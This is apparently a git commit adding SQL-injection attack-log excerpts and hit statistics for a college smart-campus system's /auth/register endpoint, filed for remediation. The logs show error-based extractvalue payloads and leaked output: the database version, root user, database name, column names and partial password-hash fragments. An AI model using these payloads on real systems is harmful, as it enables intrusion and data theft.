@@ -0,0 +1,60 @@
[2026-09-16 14:07:35] L2221
 - 请求地址'/auth/register',发生未知异常.
[2026-09-16 14:07:35] L2538
 - 请求地址'/auth/register',发生未知异常.
[2026-09-16 14:07:35] L2855
 - 请求地址'/auth/register',发生未知异常.
[2026-09-16 14:07:35] L3172
 - 请求地址'/auth/register',发生未知异常.
[2026-09-16 14:07:35] L3489
 - 请求地址'/auth/register',发生未知异常.
[2026-09-16 14:07:35] L3806
 - 请求地址'/auth/register',发生未知异常.
[2026-09-16 14:07:35] L4123
 - 请求地址'/auth/register',发生未知异常.
[2026-09-16 14:07:35] L4440
 - 请求地址'/auth/register',发生未知异常.
[2026-09-16 14:07:35] L4757
 - 请求地址'/auth/register',发生未知异常.
[2026-09-16 14:07:35] L5074
 - 请求地址'/auth/register',发生未知异常.
[2026-09-16 14:07:35] L5241
 - 请求地址'/auth/register',发生未知异常.
[2026-09-16 14:07:35] L5562
 - 请求地址'/auth/register',发生未知异常.
[2026-09-16 14:07:35] L5879
 - 请求地址'/auth/register',发生未知异常.
[2026-09-16 14:07:35] L6196
 - 请求地址'/auth/register',发生未知异常.
[2026-09-16 14:07:35] L6513
 - 请求地址'/auth/register',发生未知异常.
[2026-09-16 14:07:35] L6830
 - 请求地址'/auth/register',发生未知异常.
[2026-09-16 14:07:35] L7145
 - 请求地址'/auth/register',发生未知异常.
[2026-09-16 14:07:35] L7458
 - 请求地址'/auth/register',发生未知异常.
[2026-09-16 14:07:35] L7771
 - 请求地址'/auth/register',发生未知异常.
[2026-09-16 14:07:35] L8084
 - 请求地址'/auth/register',发生未知异常.
问题整改/攻击日志摘录/primary-root-leaks.txt
+60
View File
@@ -0,0 +1,60 @@
[2026-09-16 14:07:35] L2388
java.sql.SQLException: XPATH syntax error: '~root@172.16.0.68'
[2026-09-16 14:07:35] L2540
### Error querying database. Cause: java.sql.SQLException: XPATH syntax error: '~root@172.16.0.68'
[2026-09-16 14:07:35] L2545
### Cause: java.sql.SQLException: XPATH syntax error: '~root@172.16.0.68'
[2026-09-16 14:07:35] L2546
; uncategorized SQLException; SQL state [HY000]; error code [1105]; XPATH syntax error: '~root@172.16.0.68'
[2026-09-16 14:07:35] L2664
Caused by: java.sql.SQLException: XPATH syntax error: '~root@172.16.0.68'
[2026-09-16 14:07:35] L3022
java.sql.SQLException: XPATH syntax error: '~root@172.16.0.68'
[2026-09-16 14:07:35] L3174
### Error querying database. Cause: java.sql.SQLException: XPATH syntax error: '~root@172.16.0.68'
[2026-09-16 14:07:35] L3179
### Cause: java.sql.SQLException: XPATH syntax error: '~root@172.16.0.68'
[2026-09-16 14:07:35] L3180
; uncategorized SQLException; SQL state [HY000]; error code [1105]; XPATH syntax error: '~root@172.16.0.68'
[2026-09-16 14:07:35] L3298
Caused by: java.sql.SQLException: XPATH syntax error: '~root@172.16.0.68'
[2026-09-16 14:07:35] L6046
java.sql.SQLException: XPATH syntax error: '~root@172.16.0.68'
[2026-09-16 14:07:35] L6198
### Error querying database. Cause: java.sql.SQLException: XPATH syntax error: '~root@172.16.0.68'
[2026-09-16 14:07:35] L6203
### Cause: java.sql.SQLException: XPATH syntax error: '~root@172.16.0.68'
[2026-09-16 14:07:35] L6204
; uncategorized SQLException; SQL state [HY000]; error code [1105]; XPATH syntax error: '~root@172.16.0.68'
[2026-09-16 14:07:35] L6322
Caused by: java.sql.SQLException: XPATH syntax error: '~root@172.16.0.68'
[2026-09-16 14:07:35] L930214
java.sql.SQLException: XPATH syntax error: '~root@172.16.0.68'
[2026-09-16 14:07:35] L930364
### Error querying database. Cause: java.sql.SQLException: XPATH syntax error: '~root@172.16.0.68'
[2026-09-16 14:07:35] L930369
### Cause: java.sql.SQLException: XPATH syntax error: '~root@172.16.0.68'
[2026-09-16 14:07:35] L930370
; uncategorized SQLException; SQL state [HY000]; error code [1105]; XPATH syntax error: '~root@172.16.0.68'
[2026-09-16 14:07:35] L930486
Caused by: java.sql.SQLException: XPATH syntax error: '~root@172.16.0.68'
问题整改/攻击日志摘录/primary-sysconfig-hits.txt
+45
View File
@@ -0,0 +1,45 @@
[2026-09-16 14:07:35] L2224
### The error may exist in org/dromara/system/mapper/SysConfigMapper.java (best guess)
[2026-09-16 14:07:35] L2541
### The error may exist in org/dromara/system/mapper/SysConfigMapper.java (best guess)
[2026-09-16 14:07:35] L2858
### The error may exist in org/dromara/system/mapper/SysConfigMapper.java (best guess)
[2026-09-16 14:07:35] L3175
### The error may exist in org/dromara/system/mapper/SysConfigMapper.java (best guess)
[2026-09-16 14:07:35] L3492
### The error may exist in org/dromara/system/mapper/SysConfigMapper.java (best guess)
[2026-09-16 14:07:35] L3809
### The error may exist in org/dromara/system/mapper/SysConfigMapper.java (best guess)
[2026-09-16 14:07:35] L4126
### The error may exist in org/dromara/system/mapper/SysConfigMapper.java (best guess)
[2026-09-16 14:07:35] L4443
### The error may exist in org/dromara/system/mapper/SysConfigMapper.java (best guess)
[2026-09-16 14:07:35] L4760
### The error may exist in org/dromara/system/mapper/SysConfigMapper.java (best guess)
[2026-09-16 14:07:35] L5077
### The error may exist in org/dromara/system/mapper/SysConfigMapper.java (best guess)
[2026-09-16 14:07:35] L5244
### The error may exist in org/dromara/system/mapper/SysConfigMapper.java (best guess)
[2026-09-16 14:07:35] L5565
### The error may exist in org/dromara/system/mapper/SysConfigMapper.java (best guess)
[2026-09-16 14:07:35] L5882
### The error may exist in org/dromara/system/mapper/SysConfigMapper.java (best guess)
[2026-09-16 14:07:35] L6199
### The error may exist in org/dromara/system/mapper/SysConfigMapper.java (best guess)
[2026-09-16 14:07:35] L6516
### The error may exist in org/dromara/system/mapper/SysConfigMapper.java (best guess)
问题整改/攻击日志摘录/primary-xpath-context.txt
+120
View File
@@ -0,0 +1,120 @@
===== BLOCK 1 ts=2026-09-16 14:07:35 =====
2064: Creating a new SqlSession
2065: SqlSession [org.apache.ibatis.session.defaults.DefaultSqlSession@78067be3] was not registered for synchronization because synchronization is not active
2066: JDBC Connection [HikariProxyConnection@214714929 wrapping com.mysql.cj.jdbc.ConnectionImpl@e9301dc] will not be managed by Spring
2067: ==> Preparing: SELECT config_id, config_name, config_key, config_value, config_type, remark, tenant_id, create_dept, create_by, create_time, update_by, update_time FROM sys_config WHERE (config_key = ?) AND tenant_id = '000000' AND extractvalue(1,concat(0x7e,(SELECT version()))) AND '1'='1'
2068: ==> Parameters: sys.account.registerUser(String)
2069: 2026-09-16 14:49:32 [XNIO-1 task-2] WARN  c.zaxxer.hikari.pool.ProxyConnection
2070:  - master - Connection com.mysql.cj.jdbc.ConnectionImpl@e9301dc marked as broken because of SQLSTATE(HY000), ErrorCode(1105)
2071: java.sql.SQLException: XPATH syntax error: '~5.7.39-log'
===== BLOCK 2 ts=2026-09-16 14:07:35 =====
2216: at org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1538)
2217: at org.xnio.XnioWorker$WorkerThreadFactory$1$1.run(XnioWorker.java:1282)
2218: at java.base/java.lang.Thread.run(Thread.java:840)
2219: Closing non transactional SqlSession [org.apache.ibatis.session.defaults.DefaultSqlSession@78067be3]
2220: 2026-09-16 14:49:32 [XNIO-1 task-2] ERROR o.d.c.w.h.GlobalExceptionHandler
2221:  - 请求地址'/auth/register',发生未知异常.
2222: org.springframework.jdbc.UncategorizedSQLException:
2223: ### Error querying database. Cause: java.sql.SQLException: XPATH syntax error: '~5.7.39-log'
===== BLOCK 3 ts=2026-09-16 14:07:35 =====
2221:  - 请求地址'/auth/register',发生未知异常.
2222: org.springframework.jdbc.UncategorizedSQLException:
2223: ### Error querying database. Cause: java.sql.SQLException: XPATH syntax error: '~5.7.39-log'
2224: ### The error may exist in org/dromara/system/mapper/SysConfigMapper.java (best guess)
2225: ### The error may involve defaultParameterMap
2226: ### The error occurred while setting parameters
2227: ### SQL: SELECT config_id, config_name, config_key, config_value, config_type, remark, tenant_id, create_dept, create_by, create_time, update_by, update_time FROM sys_config WHERE (config_key = ?) AND tenant_id = '000000' AND extractvalue(1,concat(0x7e,(SELECT version()))) AND '1'='1'
2228: ### Cause: java.sql.SQLException: XPATH syntax error: '~5.7.39-log'
===== BLOCK 4 ts=2026-09-16 14:07:35 =====
2222: org.springframework.jdbc.UncategorizedSQLException:
2223: ### Error querying database. Cause: java.sql.SQLException: XPATH syntax error: '~5.7.39-log'
2224: ### The error may exist in org/dromara/system/mapper/SysConfigMapper.java (best guess)
2225: ### The error may involve defaultParameterMap
2226: ### The error occurred while setting parameters
2227: ### SQL: SELECT config_id, config_name, config_key, config_value, config_type, remark, tenant_id, create_dept, create_by, create_time, update_by, update_time FROM sys_config WHERE (config_key = ?) AND tenant_id = '000000' AND extractvalue(1,concat(0x7e,(SELECT version()))) AND '1'='1'
2228: ### Cause: java.sql.SQLException: XPATH syntax error: '~5.7.39-log'
2229: ; uncategorized SQLException; SQL state [HY000]; error code [1105]; XPATH syntax error: '~5.7.39-log'
===== BLOCK 5 ts=2026-09-16 14:07:35 =====
2340: at io.undertow.server.Connectors.executeRootHandler(Connectors.java:395)
2341: at io.undertow.server.HttpServerExchange$1.run(HttpServerExchange.java:861)
2342: at org.jboss.threads.ContextHandler$1.runWith(ContextHandler.java:18)
2343: at org.jboss.threads.EnhancedQueueExecutor$Task.run(EnhancedQueueExecutor.java:2513)
2344: at org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1538)
2345: at org.xnio.XnioWorker$WorkerThreadFactory$1$1.run(XnioWorker.java:1282)
2346: at java.base/java.lang.Thread.run(Thread.java:840)
2347: Caused by: java.sql.SQLException: XPATH syntax error: '~5.7.39-log'
===== BLOCK 6 ts=2026-09-16 14:07:35 =====
2381: Creating a new SqlSession
2382: SqlSession [org.apache.ibatis.session.defaults.DefaultSqlSession@293b36f8] was not registered for synchronization because synchronization is not active
2383: JDBC Connection [HikariProxyConnection@1203979072 wrapping com.mysql.cj.jdbc.ConnectionImpl@74224bcb] will not be managed by Spring
2384: ==> Preparing: SELECT config_id, config_name, config_key, config_value, config_type, remark, tenant_id, create_dept, create_by, create_time, update_by, update_time FROM sys_config WHERE (config_key = ?) AND tenant_id = '000000' AND extractvalue(1,concat(0x7e,(SELECT user()))) AND '1'='1'
2385: ==> Parameters: sys.account.registerUser(String)
2386: 2026-09-16 14:50:08 [XNIO-1 task-2] WARN  c.zaxxer.hikari.pool.ProxyConnection
2387:  - master - Connection com.mysql.cj.jdbc.ConnectionImpl@74224bcb marked as broken because of SQLSTATE(HY000), ErrorCode(1105)
2388: java.sql.SQLException: XPATH syntax error: '~root@172.16.0.68'
===== BLOCK 7 ts=2026-09-16 14:07:35 =====
2533: at org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1538)
2534: at org.xnio.XnioWorker$WorkerThreadFactory$1$1.run(XnioWorker.java:1282)
2535: at java.base/java.lang.Thread.run(Thread.java:840)
2536: Closing non transactional SqlSession [org.apache.ibatis.session.defaults.DefaultSqlSession@293b36f8]
2537: 2026-09-16 14:50:08 [XNIO-1 task-2] ERROR o.d.c.w.h.GlobalExceptionHandler
2538:  - 请求地址'/auth/register',发生未知异常.
2539: org.springframework.jdbc.UncategorizedSQLException:
2540: ### Error querying database. Cause: java.sql.SQLException: XPATH syntax error: '~root@172.16.0.68'
===== BLOCK 8 ts=2026-09-16 14:07:35 =====
2538:  - 请求地址'/auth/register',发生未知异常.
2539: org.springframework.jdbc.UncategorizedSQLException:
2540: ### Error querying database. Cause: java.sql.SQLException: XPATH syntax error: '~root@172.16.0.68'
2541: ### The error may exist in org/dromara/system/mapper/SysConfigMapper.java (best guess)
2542: ### The error may involve defaultParameterMap
2543: ### The error occurred while setting parameters
2544: ### SQL: SELECT config_id, config_name, config_key, config_value, config_type, remark, tenant_id, create_dept, create_by, create_time, update_by, update_time FROM sys_config WHERE (config_key = ?) AND tenant_id = '000000' AND extractvalue(1,concat(0x7e,(SELECT user()))) AND '1'='1'
2545: ### Cause: java.sql.SQLException: XPATH syntax error: '~root@172.16.0.68'
===== BLOCK 9 ts=2026-09-16 14:07:35 =====
2539: org.springframework.jdbc.UncategorizedSQLException:
2540: ### Error querying database. Cause: java.sql.SQLException: XPATH syntax error: '~root@172.16.0.68'
2541: ### The error may exist in org/dromara/system/mapper/SysConfigMapper.java (best guess)
2542: ### The error may involve defaultParameterMap
2543: ### The error occurred while setting parameters
2544: ### SQL: SELECT config_id, config_name, config_key, config_value, config_type, remark, tenant_id, create_dept, create_by, create_time, update_by, update_time FROM sys_config WHERE (config_key = ?) AND tenant_id = '000000' AND extractvalue(1,concat(0x7e,(SELECT user()))) AND '1'='1'
2545: ### Cause: java.sql.SQLException: XPATH syntax error: '~root@172.16.0.68'
2546: ; uncategorized SQLException; SQL state [HY000]; error code [1105]; XPATH syntax error: '~root@172.16.0.68'
===== BLOCK 10 ts=2026-09-16 14:07:35 =====
2657: at io.undertow.server.Connectors.executeRootHandler(Connectors.java:395)
2658: at io.undertow.server.HttpServerExchange$1.run(HttpServerExchange.java:861)
2659: at org.jboss.threads.ContextHandler$1.runWith(ContextHandler.java:18)
2660: at org.jboss.threads.EnhancedQueueExecutor$Task.run(EnhancedQueueExecutor.java:2513)
2661: at org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1538)
2662: at org.xnio.XnioWorker$WorkerThreadFactory$1$1.run(XnioWorker.java:1282)
2663: at java.base/java.lang.Thread.run(Thread.java:840)
2664: Caused by: java.sql.SQLException: XPATH syntax error: '~root@172.16.0.68'
===== BLOCK 11 ts=2026-09-16 14:07:35 =====
2698: Creating a new SqlSession
2699: SqlSession [org.apache.ibatis.session.defaults.DefaultSqlSession@5b14fe1e] was not registered for synchronization because synchronization is not active
2700: JDBC Connection [HikariProxyConnection@519848463 wrapping com.mysql.cj.jdbc.ConnectionImpl@5708c209] will not be managed by Spring
2701: ==> Preparing: SELECT config_id, config_name, config_key, config_value, config_type, remark, tenant_id, create_dept, create_by, create_time, update_by, update_time FROM sys_config WHERE (config_key = ?) AND tenant_id = '000000' AND extractvalue(1,concat(0x7e,(SELECT database()))) AND '1'='1'
2702: ==> Parameters: sys.account.registerUser(String)
2703: 2026-09-16 14:52:10 [XNIO-1 task-2] WARN  c.zaxxer.hikari.pool.ProxyConnection
2704:  - master - Connection com.mysql.cj.jdbc.ConnectionImpl@5708c209 marked as broken because of SQLSTATE(HY000), ErrorCode(1105)
2705: java.sql.SQLException: XPATH syntax error: '~hzdyjs_xg'
===== BLOCK 12 ts=2026-09-16 14:07:35 =====
2850: at org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1538)
2851: at org.xnio.XnioWorker$WorkerThreadFactory$1$1.run(XnioWorker.java:1282)
2852: at java.base/java.lang.Thread.run(Thread.java:840)
2853: Closing non transactional SqlSession [org.apache.ibatis.session.defaults.DefaultSqlSession@5b14fe1e]
2854: 2026-09-16 14:52:10 [XNIO-1 task-2] ERROR o.d.c.w.h.GlobalExceptionHandler
2855:  - 请求地址'/auth/register',发生未知异常.
2856: org.springframework.jdbc.UncategorizedSQLException:
2857: ### Error querying database. Cause: java.sql.SQLException: XPATH syntax error: '~hzdyjs_xg'
问题整改/攻击日志摘录/stats.txt
+34
View File
@@ -0,0 +1,34 @@
COUNTS {'extractvalue': 16726, 'registerUser_param': 8747, 'xpath': 42230, 'register': 8644, 'SysConfigMapper': 8540, 'root_leak': 200}
TS_FIRST 2026-09-16 10:43:25
TS_LAST 2026-09-16 23:36:48
TS_UNIQUE 978
HOURS
2026-09-16 10 count_lines=15
2026-09-16 14 count_lines=65
2026-09-16 15 count_lines=31500
2026-09-16 16 count_lines=10125
2026-09-16 17 count_lines=5
2026-09-16 21 count_lines=15
2026-09-16 22 count_lines=380
2026-09-16 23 count_lines=125
TOP_FRAGS
8705 ~__EMPTY__
260 ~
235 ~tenant_id
230 ~create_by
225 ~create_time
225 ~update_by
225 ~update_time
210 ~2025-12-23 13:1
205 ~create_dept
200 ~root@172.16.0.68
185 ~610252481355777
170 ~remark
170 ~025122313071700
160 ~id
135 ~deleted
130 ~~|~$2a$10$FGldU
130 ~5BGGq9ONuBmYhxL
130 ~weFhmbkE45keMKA
130 ~SNZpjETXawE1oGb
120 ~~2025-12-23 13:
问题整改/杭州第一技师学院智慧校园系统存在SQL注入漏洞（补充成果）.docx
BIN
View File
Binary file not shown.